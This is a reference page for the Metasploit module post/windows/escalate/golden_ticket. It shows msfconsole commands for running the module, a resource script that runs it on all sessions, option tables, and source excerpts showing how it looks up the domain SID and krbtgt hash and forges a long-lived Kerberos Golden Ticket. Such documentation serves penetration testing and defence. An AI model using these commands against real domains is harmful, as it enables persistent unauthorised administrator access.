Windows Escalate Golden Ticket - Metasploit


This page contains detailed information about how to use the post/windows/escalate/golden_ticket metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Escalate Golden Ticket
Module: post/windows/escalate/golden_ticket
Source code: modules/post/windows/escalate/golden_ticket.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no options are applied it will attempt to identify the current domain, the domain administrator account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/escalate/golden_ticket

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/escalate/golden_ticket
msf post(golden_ticket) > show options
    ... show and set options ...
msf post(golden_ticket) > set SESSION session-id
msf post(golden_ticket) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/escalate/golden_ticket")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/escalate/golden_ticket post exploitation module looks in the msfconsole:

msf6 > use post/windows/escalate/golden_ticket

msf6 post(windows/escalate/golden_ticket) > show info

       Name: Windows Escalate Golden Ticket
     Module: post/windows/escalate/golden_ticket
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Ben Campbell <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  DOMAIN                        no        Target Domain
  Domain SID                    no        Domain SID
  END_IN       87608            yes       End in ... Duration in hours, default 10 YEARS (~87608 hours)
  GROUPS                        no        ID of Groups (Comma Separated)
  ID                            no        Target User ID
  KRBTGT_HASH                   no        KRBTGT NTLM Hash
  SESSION                       yes       The session to run this module on.
  USE          false            yes       Use the ticket in the current session
  USER                          no        Target User

Description:
  This module will create a Golden Kerberos Ticket using the Mimikatz 
  Kiwi Extension. If no options are applied it will attempt to 
  identify the current domain, the domain administrator account, the 
  target domain SID, and retrieve the krbtgt NTLM hash from the 
  database. By default the well-known Administrator's groups 512, 513, 
  518, 519, and 520 will be applied to the ticket.

References:
  https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos

Module Options


This is a complete list of options available in the windows/escalate/golden_ticket post exploitation module:

msf6 post(windows/escalate/golden_ticket) > show options

Module options (post/windows/escalate/golden_ticket):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DOMAIN                        no        Target Domain
   Domain SID                    no        Domain SID
   END_IN       87608            yes       End in ... Duration in hours, default 10 YEARS (~87608 hours)
   GROUPS                        no        ID of Groups (Comma Separated)
   ID                            no        Target User ID
   KRBTGT_HASH                   no        KRBTGT NTLM Hash
   SESSION                       yes       The session to run this module on.
   USE          false            yes       Use the ticket in the current session
   USER                          no        Target User

Advanced Options


Here is a complete list of advanced options supported by the windows/escalate/golden_ticket post exploitation module:

msf6 post(windows/escalate/golden_ticket) > show advanced

Module advanced options (post/windows/escalate/golden_ticket):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/escalate/golden_ticket module can do:

msf6 post(windows/escalate/golden_ticket) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/escalate/golden_ticket post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/escalate/golden_ticket) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to retrieve the domain...


Here is a relevant code snippet related to the "Unable to retrieve the domain..." error message:

60:	      print_status('Searching for the domain...')
61:	      domain = get_domain
62:	      if domain
63:	        print_good("Targeting #{domain}")
64:	      else
65:	        fail_with(Failure::Unknown, 'Unable to retrieve the domain...')
66:	      end
67:	    end
68:	
69:	    unless krbtgt_hash
70:	      if framework.db.active

Unable to find krbtgt hash in database


Here is a relevant code snippet related to the "Unable to find krbtgt hash in database" error message:

68:	
69:	    unless krbtgt_hash
70:	      if framework.db.active
71:	        print_status('Searching for krbtgt hash in database...')
72:	        krbtgt_hash = lookup_krbtgt_hash(domain)
73:	        fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
74:	      else
75:	        fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')
76:	      end
77:	    end
78:	

No database, please supply the krbtgt hash


Here is a relevant code snippet related to the "No database, please supply the krbtgt hash" error message:

70:	      if framework.db.active
71:	        print_status('Searching for krbtgt hash in database...')
72:	        krbtgt_hash = lookup_krbtgt_hash(domain)
73:	        fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
74:	      else
75:	        fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')
76:	      end
77:	    end
78:	
79:	    unless domain_sid
80:	      print_status("Obtaining #{domain} SID...")

Unable to find SID for <DOMAIN>


Here is a relevant code snippet related to the "Unable to find SID for <DOMAIN>" error message:

81:	      domain_sid = lookup_domain_sid(domain)
82:	
83:	      if domain_sid
84:	        print_good("Found #{domain} SID: #{domain_sid}")
85:	      else
86:	        fail_with(Failure::Unknown, "Unable to find SID for #{domain}")
87:	      end
88:	    end
89:	
90:	    unless user
91:	      if id && id != 0

Unable to find User


Here is a relevant code snippet related to the "Unable to find User" error message:

97:	      end
98:	
99:	      if user
100:	        print_good("Found User: #{user}")
101:	      else
102:	        fail_with(Failure::Unknown, 'Unable to find User')
103:	      end
104:	    end
105:	
106:	    print_status("Creating Golden Ticket for #{domain}\\#{user}...")
107:	    ticket = client.kiwi.golden_ticket_create({

Unable to create ticket


Here is a relevant code snippet related to the "Unable to create ticket" error message:

129:	        print_status("Attempting to use the ticket...")
130:	        client.kiwi.kerberos_ticket_use(ticket)
131:	        print_good("Kerberos ticket applied successfully")
132:	      end
133:	    else
134:	      fail_with(Failure::Unknown, 'Unable to create ticket')
135:	    end
136:	  end
137:	
138:	  def lookup_domain_sid(domain)
139:	    string_sid = nil

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

149:	      referenced_domain_name_buffer,
150:	      cch_referenced_domain_name,
151:	      1
152:	    )
153:	
154:	    if !res['return'] && res['GetLastError'] == INSUFFICIENT_BUFFER
155:	      sid_buffer = cb_sid = res['cbSid']
156:	      referenced_domain_name_buffer = cch_referenced_domain_name = res['cchReferencedDomainName']
157:	
158:	      res = client.railgun.advapi32.LookupAccountNameA(
159:	        nil,

Error looking up SID: <ERRORMESSAGE>


Here is a relevant code snippet related to the "Error looking up SID: <ERRORMESSAGE>" error message:

172:	      sub_authority_count = res['Sid'].unpack('CC')[1]
173:	      sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")
174:	
175:	      string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"
176:	    else
177:	      print_error("Error looking up SID: #{res['ErrorMessage']}")
178:	    end
179:	
180:	    string_sid
181:	  end
182:	

No KRBTGT Hashes found in database


Here is a relevant code snippet related to the "No KRBTGT Hashes found in database" error message:

190:	    )
191:	
192:	    if krbtgt_creds
193:	
194:	      if krbtgt_creds.count == 0
195:	        print_error('No KRBTGT Hashes found in database')
196:	      elsif krbtgt_creds.count > 1
197:	
198:	        # Can we reduce the list by domain...
199:	        krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }
200:	

Multiple KRBTGT Hashes found in database, please use one of the below


Here is a relevant code snippet related to the "Multiple KRBTGT Hashes found in database, please use one of the below" error message:

208:	        elsif krbtgt_creds_realm.length > 0
209:	          krbtgt_creds = krbtgt_creds_realm
210:	        end
211:	
212:	        # Multiple hashes found, the user will have to manually set one...
213:	        print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')
214:	        krbtgt_creds.each do |kc|
215:	          hash = kc.private.data.split(':')[1]
216:	          print_line("#{kc.realm}:#{kc.public.username}:#{hash}")
217:	        end
218:	      else

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Ben Campbell

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.